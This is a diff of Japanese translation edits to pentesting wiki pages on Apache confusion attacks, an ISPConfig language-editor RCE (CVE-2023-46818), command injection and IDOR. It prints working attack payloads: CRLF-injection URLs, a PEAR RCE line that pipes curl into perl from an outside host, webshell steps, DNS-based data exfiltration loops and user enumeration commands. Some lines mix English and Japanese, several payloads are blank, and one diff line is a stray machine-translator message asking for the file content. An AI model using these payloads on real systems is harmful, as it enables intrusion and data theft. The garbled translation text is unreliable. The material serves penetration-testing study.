+次のような設定ではアクセスが拒否されるはずのファイルに、ユーザーがアクセスできてしまうことがある: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -これは、デフォルトで PHP-FPM が `.php` で終わる URL（例: `http://server/admin.php%3Fooo.php`）を受け取り、さらに PHP-FPM が文字 `?` 以降を削除するため、前述の URL は前のルールで禁止されていても `/admin.php` を読み込めてしまうためです。 +これは、デフォルトでは PHP-FPM が `.php` で終わる URL（例: `http://server/admin.php%3Fooo.php`）を受け取り、PHP-FPM が文字 `?` より後を削除するため、前述の URL は前のルールで禁止されていても `/admin.php` を読み込めてしまうためです。 ### DocumentRoot の混乱 ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Apacheに関する面白い事実として、前述のrewriteはdocumentRootとrootの両方からファイルにアクセスしようとします。したがって、`https://server/abouth.html` へのリクエストはファイルシステムの `/var/www/html/about.html` と `/about.html` の両方を確認します。これは基本的にファイルシステム内のファイルにアクセスするために悪用できます。 +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. -#### **サーバーサイドのソースコード公開** +#### **サーバーサイドのソースコード開示** -- **CGIソースコードの公開** +- **CGI ソースコードの開示** -末尾に%3Fを追加するだけで、cgi moduleのソースコードをleakするのに十分です: +Just adding a %3F at the end is enough to leak the source code of a cgi module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **PHP ソースコードを公開する** +- **PHP ソースコードの公開** -サーバーが複数のドメインを持ち、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができます: +サーバーに複数のドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができる: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -前の攻撃の主な問題点は、デフォルトではファイルシステムへのほとんどのアクセスが拒否されることであり、これは Apache HTTP Server の [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +前の攻撃での主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることであり、これは Apache HTTP Server の [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) にあるように: ```xml AllowOverride None Require all denied ``` -ただし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可しています: +ただし、[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) オペレーティングシステムはデフォルトで `/usr/share` を許可します: ```xml AllowOverride None Require all granted ``` -Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** +したがって、これらのディストリビューションでは **`/usr/share` 内にあるファイルを悪用することが可能です。** **Local Gadget to Information Disclosure** - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. -- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: +- **Nginx** や **Jetty** を使うサーバは、**/usr/share** 配下のデフォルトの Web ルートから機密な Web アプリケーション情報（例：**web.xml**）を公開してしまう可能性があります: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Local Gadget to XSS** -- Ubuntu Desktop に **LibreOffice** がインストールされている環境では、ヘルプファイルの言語切替機能を悪用することで **Cross-Site Scripting (XSS)** を引き起こす可能性があります。**/usr/share/libreoffice/help/help.html** の URL を操作することで、unsafe RewriteRule を介して悪意のあるページや古いバージョンへリダイレクトされる場合があります。 +- **LibreOffice installed** のある Ubuntu Desktop では、ヘルプファイルの言語切替機能を悪用すると **Cross-Site Scripting (XSS)** を引き起こす可能性があります。**/usr/share/libreoffice/help/help.html** の URL を操作することで、**unsafe RewriteRule** により悪意のあるページや古いバージョンへリダイレクトされる恐れがあります。 **Local Gadget to LFI** -- PHP や **JpGraph**、**jQuery-jFeed** などのフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取れる可能性があります: +- PHP や **JpGraph**、**jQuery-jFeed** のような特定のフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取ることができます: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- **MagpieRSS** の **magpie_debug.php**（**/usr/share/php/magpierss/scripts/magpie_debug.php**）を利用すると、簡単に SSRF 脆弱性を作り出すことができ、さらなる攻撃への足掛かりになります。 +- **MagpieRSS's magpie_debug.php**（**/usr/share/php/magpierss/scripts/magpie_debug.php**）を利用すると、簡単に SSRF 脆弱性を作り出せ、さらなる攻撃への足がかりとなります。 **Local Gadget to RCE** -- 古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールが存在すると、任意のコード実行（Remote Code Execution (RCE)）の機会が多く、ローカルガジェットの悪用で広範な攻撃が可能になります。 +- 古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールは、**Remote Code Execution (RCE)** の機会を多数提供し、任意のコード実行に悪用され得ます。ローカルガジェットの操作が持つ広範な潜在力を示しています。 #### **Jailbreak from Local Gadgets** -インストールされたソフトウェアがこれらのフォルダ内に作成するシンボリックリンクを辿ることで、許可されたフォルダから jailbreak することも可能です。例: +許可されたフォルダ内にある、そこにインストールされたソフトウェアが生成するシンボリックリンクを辿ることで、jailbreak することも可能です。例えば： - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,32 +186,32 @@ Therefore, it would be possible to **abuse files located inside `/usr/share` in - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -さらに、シンボリックリンクを悪用することで Redmine に対して RCE を得られた事例もあります。 +さらに、シンボリックリンクを悪用することで **RCE in Redmine.** を得ることが可能でした。 ### Handler Confusion -この攻撃は `AddHandler` と `AddType` 指令の機能重複を突くもので、どちらも **PHP 処理を有効化** するために使われ得ます。もともとこれらの指令はサーバ内部構造の異なるフィールド（それぞれ `r->handler` と `r->content_type`）に影響を与えていました。しかし、レガシーコードのために、特定の条件下では Apache はこれらの指令を相互に扱い、`r->content_type` が設定され `r->handler` が設定されていない場合に `r->content_type` を `r->handler` に変換します。 +この攻撃は `AddHandler` と `AddType` ディレクティブの機能重複を突くものです。どちらも **enable PHP processing** に使われ得ます。本来、これらのディレクティブはサーバ内部構造の異なるフィールド（それぞれ `r->handler` と `r->content_type`）に作用します。しかしレガシーコードのため、Apache は特定条件下でこれらを相互に扱い、前者が空で後者が設定されている場合に `r->content_type` を `r->handler` に変換してしまいます。 -さらに、Apache HTTP Server（`server/config.c#L420`）では、`ap_run_handler()` 実行前に `r->handler` が空であれば、サーバは **`r->content_type` を handler として使用** します。これにより `AddType` と `AddHandler` の効果が事実上同一になります。 +さらに、Apache HTTP Server（`server/config.c#L420`）では、`ap_run_handler()` 実行前に `r->handler` が空であれば、サーバは **`r->content_type` を handler として使用します**。その結果、`AddType` と `AddHandler` は実質的に同等の効果を持ちます。 #### **Overwrite Handler to Disclose PHP Source Code** -[**この講演**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントが不正な `Content-Length` を送信すると Apache が誤って **PHP ソースコードを返してしまう** 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題で、二重レスポンスが発生すると `r->content_type` が `text/html` に上書きされるためです。\ -ModSecurity が戻り値を適切に扱わないため、PHP コードを返し解釈しないという状況が発生しました。 +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントが送信した不正な `Content-Length` により Apache が誤って **PHP のソースコードを返してしまう** 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題に起因し、二重レスポンスによって `r->content_type` が `text/html` に上書きされるためです。\ +ModSecurity が戻り値を適切に処理しないため、PHP コードがそのまま返され、解釈されません。 #### **Overwrite Handler to XXXX** -TODO: Orange はこの脆弱性をまだ公開していません +TODO: Orange はまだこの脆弱性を公開していません ### **Invoke Arbitrary Handlers** -攻撃者がレスポンスの **`Content-Type`** ヘッダを制御できるようになると、任意のモジュールハンドラを **invoke** できるようになります。ただし、その時点までにリクエストの大半は既に処理済みであることが多いです。しかし、`Location` ヘッダを悪用してリクエスト処理を再起動することが可能です。返された `Status` が 200 で `Location` ヘッダが `/` で始まる場合、そのレスポンスは Server-Side Redirection と扱われ再処理されます。 +攻撃者がサーバ応答の **`Content-Type`** ヘッダを制御できる場合、彼は **invoke arbitrary module handlers** することが可能になります。ただし、その段階までにリクエスト処理の多くは既に実行されてしまっています。しかし、`Location` ヘッダを悪用してリクエスト処理を再起動することが可能です。なぜなら、**r**eturned `Status` が 200 で `Location` ヘッダが `/` で始まる場合、その応答はサーバサイドリダイレクトとして扱われ再処理されるからです。 -RFC 3875（CGI に関する仕様）の [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) は Local Redirect Response の振る舞いを定義しています: +RFC 3875（CGI に関する仕様）によれば、[Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) は Local Redirect Response の挙動を次のように定義しています: -> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. +> CGI スクリプトは Location ヘッダフィールドでローカルリソースの URI パスとクエリ文字列（'local-pathquery'）を返すことができます。これはサーバに対して、指定されたパスを使用してリクエストを再処理すべきことを示します。 -したがって、この攻撃を行うには次のいずれかの脆弱性が必要です: +したがって、この攻撃を実行するには次のうちいずれかの脆弱性が必要です: - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers @@ -225,16 +225,16 @@ SetHandler server-status Require local ``` -`Content-Type` を `server-status` に設定し、Location ヘッダを `/` で始まるようにするとアクセスできます +`Content-Type` を `server-status` に設定し、`Location` ヘッダーを `/` で始まる値にするとアクセス可能です。 ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler to Full SSRF** +#### **任意の Handler から Full SSRF へ** -任意のプロトコルや任意のURLにアクセスするために `mod_proxy` にリダイレクトする: +`mod_proxy` にリダイレクトして、任意の URL 上の任意のプロトコルにアクセスする: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -しかし、`X-Forwarded-For` ヘッダが追加されているため、クラウドメタデータエンドポイントへのアクセスがブロックされます。 +しかし、`X-Forwarded-For` ヘッダーが追加されており、クラウドのメタデータエンドポイントへのアクセスが妨げられています。 -#### **ローカル Unix Domain Socket にアクセスする任意のハンドラ** +#### **ローカル Unix ドメインソケットにアクセスする任意のハンドラ** -PHP-FPM のローカル Unix Domain Socket にアクセスして `/tmp/` にある PHP backdoor を実行します: +PHP-FPM のローカル Unix ドメインソケットにアクセスして、`/tmp/` にある PHP backdoor を実行する: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -公式の [PHP Docker](https://hub.docker.com/_/php) イメージには PEAR (`Pearcmd.php`) が含まれており、これはコマンドラインの PHP パッケージ管理ツールで、悪用すると RCE を取得できます: +公式の [PHP Docker](https://hub.docker.com/_/php) イメージには PEAR (`Pearcmd.php`) が含まれており、コマンドラインの PHP パッケージ管理ツールで、RCE を取得するために悪用できます: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,7 +265,7 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -この手法の詳細については、[**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)（著者：[Phith0n](https://x.com/phithon_xg)）を参照してください。 +この手法の詳細は、[**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)（[Phith0n](https://x.com/phithon_xg)による）を参照してください。 ## 参考資料 diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 7557c1b36..8e98f499e 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## 概要 -ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x ビルドには言語ファイルエディタ機能があり、これがスーパー管理者に対して有効になっていると、不正に構成された翻訳レコードを介して任意の PHP コード注入が可能でした。これは web サーバーコンテキストでの RCE を引き起こす可能性があり、PHP の実行方法によっては権限昇格につながることがあります。 +ISPConfigはオープンソースのホスティングコントロールパネルです。古い3.2.xのビルドには言語ファイル編集機能が含まれており、super administratorに対して有効になっていると、不正な翻訳レコードを介して任意のPHPコードを注入できました。これはweb serverコンテキストでRCEを引き起こし得、PHPの実行方法によってはprivilege escalationにつながる場合があります。 -主要なデフォルトパス: -- Web ルートは `php -S` で提供されている場合や Apache/nginx 経由の場合、しばしば `/var/www/ispconfig` にあります。 -- 管理 UI は HTTP(S) vhost 上で到達可能です（場合によっては localhost のみにバインドされていることがあります；必要なら SSH ポートフォワードを使用してください）。 +主なデフォルトパス: +- Web rootは`php -S`で提供される場合やApache/nginx経由の場合、`/var/www/ispconfig`にあることが多い。 +- Admin UIはHTTP(S) vhost上でアクセス可能です（場合によってはlocalhostのみにバインドされていることがあるため、必要に応じてSSH port-forwardを使用してください）。 -ヒント: パネルがローカルにバインドされている場合（例: `127.0.0.1:8080`）、転送してください: +Tip: パネルがローカルにバインドされている場合（例：`127.0.0.1:8080`）、ポートフォワードしてください： ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## 言語エディタ PHP code injection (CVE-2023-46818) -- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) -- Preconditions: -- 組み込みの superadmin アカウント `admin` でログインする（ベンダーによれば他のロールは影響を受けない） -- 言語エディタを有効にする必要がある: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Impact: 認証済みの admin は任意の PHP を注入でき、それが言語ファイルに書き込まれてアプリケーションによって実行され、web コンテキストで RCE を達成する +- 影響を受ける: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- 前提条件: +- 組み込みの superadmin アカウント `admin` でログイン（ベンダーによれば他のロールには影響なし） +- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- 影響: 認証済みの admin が任意の PHP を注入し、それが言語ファイルに書き込まれてアプリケーションによって実行されることで、web コンテキストでの RCE を達成できる References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. -### 手動でのエクスプロイト手順 +### 手動での悪用フロー -1) 言語ファイルを開く/作成して CSRF トークンを取得する +1) CSRF トークンを取得するために言語ファイルを開く/作成する -最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド（`csrf_id`, `csrf_key`）を解析する。例: `/admin/language_edit.php`. +最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド（`csrf_id`, `csrf_key`）をパースする。例のリクエストパス: `/admin/language_edit.php`. -2) Inject PHP via records[] and save +2) records[] を通じて PHP を注入して保存する -CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ: +CSRF フィールドと悪意のある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,46 +42,46 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -アウトオブバンドテスト（ICMPの観測）: +アウト・オブ・バンド テスト（ICMPを監視）: ```http records[]= ``` 3) ファイルを書き込み、webshellを配置する -`file_put_contents` を使って、ウェブから到達可能なパス（例: `admin/`）にファイルを作成する: +`file_put_contents`を使用して、webから到達可能なパス（例：`admin/`）の下にファイルを作成します： ```http records[]= ``` -次に、POSTボディ内の不正な文字を回避するためにbase64を使用したシンプルなwebshellを書きます: +次に、POSTボディ内の不正な文字を回避するために base64 を使ったシンプルな webshell を書きます: ```http records[]= ``` -src/network-services-pentesting/pentesting-web/ispconfig.md の内容を貼ってください。翻訳して返します。 +ファイルの内容が見えません。翻訳したい src/network-services-pentesting/pentesting-web/ispconfig.md のマークダウン本文をここに貼ってください。タグ、リンク、パス、コードはそのまま保持して翻訳します。 ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -PHPがrootとして実行されている場合（例: rootによって起動された `php -S 127.0.0.1:8080` のように）、直ちにroot RCEが得られます。そうでない場合は、webサーバーのユーザー権限でコード実行が可能になります。 +もし PHP が root として実行されている場合（例: root によって起動された `php -S 127.0.0.1:8080` のように）、即座に root RCE が発生します。そうでない場合は、web サーバーのユーザーとしてコード実行を得ます。 ### Python PoC -そのまま使えるexploitはtokenの処理とpayloadの配信を自動化します: +すぐに使える exploit は token の処理と payload の配信を自動化します: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) 実行例: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### ハードニング +### Hardening - 3.2.11p1以降にアップグレードする -- 言語エディタは厳密に必要でない限り無効にする: +- 言語エディターは厳密に必要でない限り無効にする: ``` admin_allow_langedit=no ``` -- パネルをrootで実行しない; PHP-FPMまたはwebサーバーを設定して特権を落とす -- 組み込みの `admin` アカウントに対して強力な認証を要求する +- 管理パネルをrootで実行しないでください。PHP-FPMまたはwebサーバーを設定して権限を下げるようにしてください +- 組み込みの `admin` アカウントに対して強力な認証を適用する -## 参考 +## 参考資料 - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index af780f36f..cf081dcbb 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## command Injectionとは何ですか？ +## command Injectionとは何か? -A **command injection** は、アプリケーションをホストしているサーバ上で攻撃者が任意のOSコマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびその全データが完全に乗っ取られる可能性があります。これらのコマンドの実行により、攻撃者は通常、アプリケーションの環境や基盤となるシステムに対して不正なアクセスや制御を取得できます。 +A **command injection**により、攻撃者はアプリケーションをホストしているサーバ上で任意のOSコマンドを実行できます。その結果、アプリケーションとその全データが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を得ることが一般的に可能になります。 ### コンテキスト -入力が**どこに挿入されているか**によっては、コマンドの実行前に**引用されたコンテキストを終了する**（`"` または `'` を使用）必要があるかもしれません。 +**入力がどこに挿入されているか**によって、コマンドの前に**クォートされたコンテキストを終了する**（`"` や `'` を使って）必要がある場合があります。 ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **Limition** バイパス -もし **linux マシン内で任意のコマンドを実行しようとしている** 場合、これらの **Bypasses:** を読むと参考になります。 +もし **linux マシン内で任意のコマンド** を実行しようとしているなら、これらの**バイパス**を読むと興味があるでしょう: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### パラメータ -以下は code injection や同様の RCE 脆弱性の対象となり得る上位25のパラメータです（出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +以下は code injection や類似の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです（出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)）: ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -データ抽出: charごとに +データ抽出：1文字ずつ ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS による data exfiltration -`https://github.com/HoLyVieR/dnsbin` のツールに基づいており、dnsbin.zhack.ca にもホストされています。 +ツール `https://github.com/HoLyVieR/dnsbin` をベースにしており、dnsbin.zhack.ca にもホストされています。 ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS based data exfiltration を確認するためのオンラインツール: +DNS based data exfiltration をチェックするオンラインツール: - dnsbin.zhack.ca - pingb.in @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` vs `execFile` +### Node.js `child_process.exec` と `execFile` -JavaScript/TypeScriptのバックエンドを監査する際、Node.jsの`child_process` APIにしばしば遭遇します。 +JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API をよく目にします。 ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` は **shell** (`/bin/sh -c`) を起動するため、shell に特別な意味を持つ文字（バックティック, `;`, `&&`, `|`, `$()`, …）がユーザー入力を文字列に連結した際に **command injection** を引き起こします。 +`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字（バッククォート、`;`、`&&`、`|`、`$()`、…）がユーザー入力を文字列に連結した際に **command injection** を引き起こします。 -**緩和策:** `execFile()` を使用する（または `shell` オプションなしで `spawn()` を使用）し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにする: +**緩和策:** `execFile()` を使用する（または `spawn()` を `shell` オプションなしで使用）し、**各引数を配列の別要素として渡す**ことで **shell** を介さないようにする: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、それが後に `exec()` 呼び出しに埋め込まれて RCE を達成しました (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、その後 `exec()` 呼び出しに埋め込まれて RCE を達成しました（Pwn2Own Ireland 2024）。 ## Brute-Force 検出リスト diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index adc3cd607..afbc5eb78 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,22 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web または API endpoint がユーザー制御可能な識別子を公開または受け入れ、その識別子が内部オブジェクトに**直接**アクセスするために使用される一方で、呼び出し元がそのオブジェクトにアクセス/変更する権限を持っているかどうかを**検証していない**場合に発生します。 -悪用に成功すると、通常は他ユーザーのデータを読み取ったり変更したりする横方向または縦方向の権限昇格を許し、最悪の場合はアカウントの完全な乗っ取りや大量のデータ持ち出しにつながります。 +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API エンドポイントがユーザ制御可能な識別子を公開または受け取り、その識別子を使って内部オブジェクトへ**直接**アクセスし、呼び出し元がそのオブジェクトへアクセス/変更する権限を持っているかを**検証していない**場合に発生します。成功した場合、他ユーザのデータの読み取りや変更といった水平/垂直な権限昇格、最悪の場合はアカウント完全乗っ取りや大量データの流出を招くことがあります。 --- ## 1. 潜在的なIDORの特定 -1. オブジェクトを参照するパラメータを探す: -* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Query: `?id=42`, `?invoice=2024-00001` -* Body / JSON: `{"user_id": 321, "order_id": 987}` -* Headers / Cookies: `X-Client-ID: 4711` -2. データを読み取るまたは更新するエンドポイントを優先する（`GET`, `PUT`, `PATCH`, `DELETE`）。 -3. 識別子が連番または予測可能かどうかを確認する — もしあなたのIDが `64185742` なら、`64185741` はおそらく存在する。 -4. 追加のAPIを露出している可能性のある隠れたまたは別のフロー（例：ログインページの「Paradox team members」リンク）を探索する。 -5. 認証済みの低権限セッションを使用し、同じ token/cookie を保持したままIDだけを変更する。認可エラーが発生しない場合は通常IDORの兆候である。 +1. **オブジェクトを参照するパラメータ**を探す: +* パス: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* クエリ: `?id=42`, `?invoice=2024-00001` +* 本文 / JSON: `{"user_id": 321, "order_id": 987}` +* ヘッダ / Cookie: `X-Client-ID: 4711` +2. データを**読み取るまたは更新する**エンドポイント（`GET`, `PUT`, `PATCH`, `DELETE`）を優先する。 +3. 識別子が**連続的または予測可能**かを確認する — あなたの ID が `64185742` なら `64185741` が存在する可能性が高い。 +4. 隠れたまたは代替のフロー（例: *"Paradox team members"* リンクがログインページにあるなど）を調べ、追加の API が露出していないか確認する。 +5. 権限の低い**認証済みセッション**を使い、ID のみを変更して**同じ token/cookie を保持**する。認可エラーが返ってこない場合、通常は IDOR の兆候である。 -### Quick manual tampering (Burp Repeater) +### 簡単な手動改ざん (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -40,55 +39,55 @@ done ### Error-response oracle for user/file enumeration -ダウンロードエンドポイントが username と filename の両方を受け取る場合（例: `/view.php?username=&file=`）、エラーメッセージの微妙な違いによってしばしば oracle が生じます: +ダウンロード用のエンドポイントが username と filename の両方を受け取る場合（例: `/view.php?username=&file=`）、エラーメッセージのわずかな違いがしばしば oracle を生みます: -- 存在しない username → "User not found" -- ファイル名が不正だが拡張子は有効 → "File does not exist"（場合によっては利用可能なファイルを一覧表示する） -- 拡張子が不正 → バリデーションエラー +- Non-existent username → "User not found" +- Bad filename but valid extension → "File does not exist" (sometimes also lists available files) +- Bad extension → validation error -認証済みセッションがあれば、無害なファイル名を固定して username パラメータをファジングし、"user not found" 文字列でフィルタすることで有効なユーザを特定できます: +認証済みの任意のセッションを使い、無害な filename を固定して username パラメータを fuzz し、"user not found" 文字列でフィルタリングすることで有効なユーザーを発見できます: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -有効なユーザー名が判明したら、特定のファイルを直接要求します（例: `/view.php?username=amanda&file=privacy.odt`）。このパターンは、他のユーザーのドキュメントの無断開示やcredential leakageにつながることが多い。 +有効なユーザー名が特定されたら、特定のファイルを直接リクエストします（例: `/view.php?username=amanda&file=privacy.odt`）。このパターンは、他ユーザーのドキュメントの不正な開示や credential leakage を引き起こすことがよくあります。 --- -## 2. 実際の事例 – McHire チャットボットプラットフォーム (2025) +## 2. 実際のケーススタディ – McHire Chatbot Platform (2025) -Paradox.aiにより提供される**McHire**採用ポータルの評価中に、以下のIDORが発見されました: +Paradox.ai によって動く **McHire** 採用ポータルの評価中に、次の IDOR が発見されました: -* エンドポイント: `PUT /api/lead/cem-xhr` -* Authorization: **任意** のレストランのテストアカウント用ユーザーセッションcookie -* ボディパラメータ: `{"lead_id": N}` – 8桁の、**連番**の数値識別子 +* Endpoint: `PUT /api/lead/cem-xhr` +* Authorization: user session cookie for **any** restaurant test account +* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier -`lead_id` を減らすことで、テスターは任意の応募者の **full PII**（名前、メール、電話、住所、シフト希望）と、セッションハイジャックを可能にする消費者用 **JWT** を取得しました。範囲 `1 – 64,185,742` を列挙したところ、およそ**6400万**件のレコードが露出しました。 +`lead_id` を減少させることで、テスターは任意の応募者の **full PII**（name, e-mail, phone, address, shift preferences）および session hijacking 